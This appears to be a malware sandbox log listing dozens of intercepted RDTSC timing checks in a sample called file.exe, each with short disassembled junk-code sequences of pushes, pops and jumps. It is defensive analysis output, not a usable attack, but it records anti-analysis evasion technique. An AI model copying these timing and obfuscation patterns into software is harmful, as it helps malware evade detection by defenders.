Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2525 second address: AA252B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B24446 second address: B2444B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B249D3 second address: B249D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B249D9 second address: B249DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B249DD second address: B249E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B24B2F second address: B24B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B24B35 second address: B24B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B8517EA3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2AAAC second address: B2AAB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2AAB6 second address: B2AABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2AABC second address: B2AAD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B8C74306h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2AAD7 second address: B2AB0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8517E9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jc 00007F33B8517EACh 0x00000010 jmp 00007F33B8517EA4h 0x00000015 push edi 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 jg 00007F33B8517E96h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B29805 second address: B2982E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C74307h 0x00000007 push esi 0x00000008 jns 00007F33B8C742F6h 0x0000000e pop esi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2982E second address: B2984D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F33B8517EA7h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2984D second address: B29868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F33B8C742F6h 0x0000000a popad 0x0000000b pushad 0x0000000c jp 00007F33B8C742F6h 0x00000012 pushad 0x00000013 popad 0x00000014 push edi 0x00000015 pop edi 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B29868 second address: B2986C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2986C second address: B29872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B29E4C second address: B29E73 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F33B8517EB2h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2A4CD second address: B2A4E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F33B8C742FCh 0x0000000c jo 00007F33B8C742F6h 0x00000012 push ecx 0x00000013 push edx 0x00000014 pop edx 0x00000015 pop ecx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2FC96 second address: B2FC9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2FC9B second address: B2FCB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C74301h 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2FDF0 second address: B2FE05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F33B8517E9Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2FE05 second address: B2FE09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2FF32 second address: B2FF38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30209 second address: B3020F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3020F second address: B30223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F33B8517E9Bh 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30223 second address: B30245 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F33B8C74305h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B303A9 second address: B303AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3053F second address: B30545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B306B0 second address: B306BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33B8517E9Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3083A second address: B30841 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B309F6 second address: B30A28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B8517EA5h 0x00000009 jmp 00007F33B8517EA8h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30A28 second address: B30A3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F33B8C742FCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30A3A second address: B30A50 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F33B8517E96h 0x00000010 jnl 00007F33B8517E96h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30D2C second address: B30D70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F33B8C74305h 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F33B8C74303h 0x00000014 jmp 00007F33B8C742FBh 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b jmp 00007F33B8C74303h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B34653 second address: B34657 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B34657 second address: B34669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F33B8C742F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B34669 second address: B34677 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B34677 second address: B3467B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAA9AC second address: AAA9B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F33B8517E96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAA9B7 second address: AAA9D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007F33B8C74302h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33F09 second address: B33F0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3422E second address: B34234 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B34388 second address: B343A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F33B8517E9Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B36A79 second address: B36A96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B8C74309h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CA7D second address: B3CA87 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F33B8517E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CA87 second address: B3CA8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CA8D second address: B3CA91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CA91 second address: B3CA95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CBA9 second address: B3CBB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F33B8517E96h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CBB8 second address: B3CBC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F33B8C742F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CBC3 second address: B3CBD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F33B8517E96h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CBD4 second address: B3CBDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CBDA second address: B3CBDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CBDE second address: B3CC14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a jmp 00007F33B8C74302h 0x0000000f push eax 0x00000010 pop eax 0x00000011 jmp 00007F33B8C74303h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CD69 second address: B3CD74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CD74 second address: B3CD78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CEC3 second address: B3CEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnl 00007F33B8517E9Ch 0x0000000b push esi 0x0000000c jns 00007F33B8517E96h 0x00000012 js 00007F33B8517E96h 0x00000018 pop esi 0x00000019 popad 0x0000001a push ecx 0x0000001b pushad 0x0000001c push eax 0x0000001d pop eax 0x0000001e push edx 0x0000001f pop edx 0x00000020 pushad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CEED second address: B3CEF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CEF6 second address: B3CEFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D083 second address: B3D087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41FDE second address: B41FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B422DC second address: B422E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4651B second address: B46521 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B46521 second address: B4653B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C74303h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4653B second address: B46541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B46541 second address: B4654E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4654E second address: B46558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F33B8517E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B46558 second address: B4655C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4655C second address: B46568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45799 second address: B457A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F33B8C742F6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B457A6 second address: B457C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 je 00007F33B8517E96h 0x0000000c push esi 0x0000000d pop esi 0x0000000e jng 00007F33B8517E96h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jc 00007F33B8517E96h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B457C7 second address: B457CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45AF6 second address: B45B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c ja 00007F33B8517E96h 0x00000012 jmp 00007F33B8517E9Ch 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45B15 second address: B45B21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007F33B8C742F6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45DC2 second address: B45E08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8517EA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F33B8517EA2h 0x0000000f jmp 00007F33B8517E9Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 jnp 00007F33B8517E96h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45E08 second address: B45E12 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F33B8C742F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4C6C4 second address: B4C6CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4C6CA second address: B4C6CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4C6CF second address: B4C6EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F33B8517E96h 0x0000000a jmp 00007F33B8517E9Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4C6EA second address: B4C6FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b je 00007F33B8C742F6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4C6FD second address: B4C70C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F33B8517E96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D0BD second address: B4D0C9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F33B8C742F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D0C9 second address: B4D0CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D0CE second address: B4D0E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F33B8C742F6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F33B8C742FBh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D0E8 second address: B4D10E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F33B8517EA4h 0x0000000f jno 00007F33B8517E98h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D8E1 second address: B4D8EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B8C742FAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DBBD second address: B4DBC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DBC1 second address: B4DBD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F33B8C742FFh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DEE0 second address: B4DF02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F33B8517EA1h 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jne 00007F33B8517E96h 0x00000012 popad 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4E1A7 second address: B4E1CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007F33B8C742F6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F33B8C74308h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4E1CE second address: B4E1DA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F33B8517E96h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B523A3 second address: B523B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jl 00007F33B8C742F6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B523B3 second address: B523B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B523B8 second address: B523C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F33B8C742F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B523C3 second address: B523C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B51E08 second address: B51E18 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jl 00007F33B8C742F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56B8C second address: B56B94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5FEA5 second address: B5FEAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5FEAA second address: B5FEAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
